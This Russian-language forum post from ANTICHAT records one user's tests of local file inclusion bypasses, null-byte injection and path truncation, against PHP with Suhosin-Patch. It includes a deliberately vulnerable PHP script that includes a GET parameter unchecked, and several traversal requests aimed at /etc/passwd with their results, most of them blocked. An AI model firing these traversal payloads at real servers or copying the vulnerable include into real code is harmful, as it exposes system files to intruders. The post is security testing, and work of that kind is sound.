ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

null byte в PHP c последними версиями Suhosin-Patch
  #1  
Старый 22.11.2009, 22:15
(Dm)
Reservists Of Antichat - Level 6
Регистрация: 08.04.2008
Сообщений: 286
С нами: 9521666

Репутация: 1695
По умолчанию null byte в PHP c последними версиями Suhosin-Patch

PHP 5.2.10-2ubuntu6.1 with Suhosin-Patch 0.9.28

suhosin - advanced protection module for php5
В обычном PHP, без Suhosin патча, null byte работает при magic_quotes_gpc = OFF, но не работает замена null byte (////[4096]////)

Провел исследование для PHP 5.2.10-2ubuntu6.1 with Suhosin-Patch 0.9.28 и оно не очень так сказать хорошее (

Скрипт (обычный LFI):
PHP код:
<pre>
<?php
if (isset($_GET['p'])) {
    echo 
"PATH: ".$_GET['p']."\n";
    include(
"./".$_GET['p'].".txt");
} else {
    echo 
"Переменная не определена\r\n";
}
?>
</pre>
Результаты при magic_quotes_gpc = OFF и magic_quotes_gpc = ON не отличаются.

1. test.php?p=../../../../../../../etc/passwd

Результат:
Цитата:
PATH: ../../../../../../../etc/passwd
Failed opening './../../../../../../../etc/passwd.txt'

2. test.php?p=../../../../../../../etc/passwd%00

Результат:
Цитата:
Переменная не определена

3. test.php?p=../../../../../../../etc/passwd//////[4096]/////


Результат:
Цитата:
Переменная не определена

4. test.php?p=../../../../../../../etc/passwd//////[1024]/////


Результат:
Цитата:
Переменная не определена

5. test.php?p=../../../../../../../etc/passwd//////[512]/////


Результат:
Цитата:
Переменная не определена
Если объявить переменную:
Цитата:
$_GET['p'] = "../../../../../../../etc/passwd\x00";
Работает
Цитата:
$_GET['p'] = "../../../../../../../etc/passwd///////[4096]//////";
Не работает.
PS если что-то не так поправьте
__________________
Cервер cs 1.6
cs.antichat.net:27015

Последний раз редактировалось (Dm); 23.11.2009 в 00:01..
 
Ответить с цитированием
 



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP 186 21.02.2010 02:41
Проблема с конвертацией базы mySQL GrAmOzEkA PHP 18 18.10.2009 23:07
Вопрос по Mysql {BuT@Min} PHP 4 18.12.2006 08:52



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.